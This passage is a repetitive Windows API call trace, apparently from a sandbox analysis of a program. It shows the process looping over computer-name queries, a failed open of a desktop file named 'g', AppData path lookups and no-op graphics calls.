lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.039] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.039] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.039] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.039] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.039] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.039] CloseHandle (hObject=0x0) returned 0 [0189.039] CloseHandle (hObject=0xffffffff) returned 1 [0189.039] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.039] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.039] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.039] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.039] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.039] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.039] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.039] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.039] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.039] CloseHandle (hObject=0x0) returned 0 [0189.039] CloseHandle (hObject=0xffffffff) returned 1 [0189.040] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.040] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.040] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.040] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.040] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.040] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.040] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.040] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.040] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.040] CloseHandle (hObject=0x0) returned 0 [0189.040] CloseHandle (hObject=0xffffffff) returned 1 [0189.040] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.040] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.040] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.040] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.040] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.040] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.040] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.040] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.040] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.041] CloseHandle (hObject=0x0) returned 0 [0189.041] CloseHandle (hObject=0xffffffff) returned 1 [0189.041] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.041] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.041] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.041] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.041] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.041] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.041] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.041] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.041] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.041] CloseHandle (hObject=0x0) returned 0 [0189.041] CloseHandle (hObject=0xffffffff) returned 1 [0189.041] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.041] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.041] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.041] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.041] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.041] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.041] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.041] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.042] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.042] CloseHandle (hObject=0x0) returned 0 [0189.042] CloseHandle (hObject=0xffffffff) returned 1 [0189.042] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.042] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.042] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.042] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.042] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.042] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.042] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.042] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.042] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.042] CloseHandle (hObject=0x0) returned 0 [0189.042] CloseHandle (hObject=0xffffffff) returned 1 [0189.042] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.042] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.042] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.042] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.042] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.042] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.043] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.043] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.043] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.043] CloseHandle (hObject=0x0) returned 0 [0189.043] CloseHandle (hObject=0xffffffff) returned 1 [0189.043] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.043] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.043] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.043] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.043] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.043] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.043] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.043] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.043] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.043] CloseHandle (hObject=0x0) returned 0 [0189.043] CloseHandle (hObject=0xffffffff) returned 1 [0189.043] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.043] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.043] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.043] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.043] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.044] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.044] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.044] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.044] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.044] CloseHandle (hObject=0x0) returned 0 [0189.044] CloseHandle (hObject=0xffffffff) returned 1 [0189.044] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.044] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.044] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.044] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.044] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.044] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.044] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.044] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.044] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.044] CloseHandle (hObject=0x0) returned 0 [0189.044] CloseHandle (hObject=0xffffffff) returned 1 [0189.044] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.044] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.044] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.045] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.045] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.045] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.045] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.045] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.045] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.045] CloseHandle (hObject=0x0) returned 0 [0189.045] CloseHandle (hObject=0xffffffff) returned 1 [0189.045] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.045] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.045] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.045] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.045] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.045] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.045] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.045] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.045] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.045] CloseHandle (hObject=0x0) returned 0 [0189.045] CloseHandle (hObject=0xffffffff) returned 1 [0189.046] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.046] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.046] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.046] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.046] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.046] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.046] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.046] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.046] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.046] CloseHandle (hObject=0x0) returned 0 [0189.046] CloseHandle (hObject=0xffffffff) returned 1 [0189.046] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.046] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.046] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.046] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.046] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.046] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.046] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.046] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.046] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.046] CloseHandle (hObject=0x0) returned 0 [0189.047] CloseHandle (hObject=0xffffffff) returned 1 [0189.047] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.047] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.047] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.047] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.047] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.047] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.047] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.047] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.047] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.047] CloseHandle (hObject=0x0) returned 0 [0189.047] CloseHandle (hObject=0xffffffff) returned 1 [0189.047] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.047] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.047] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.047] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.047] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.047] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.047] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.047] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.048] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.048] CloseHandle (hObject=0x0) returned 0 [0189.048] CloseHandle (hObject=0xffffffff) returned 1 [0189.048] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.048] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.048] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.048] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.048] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff 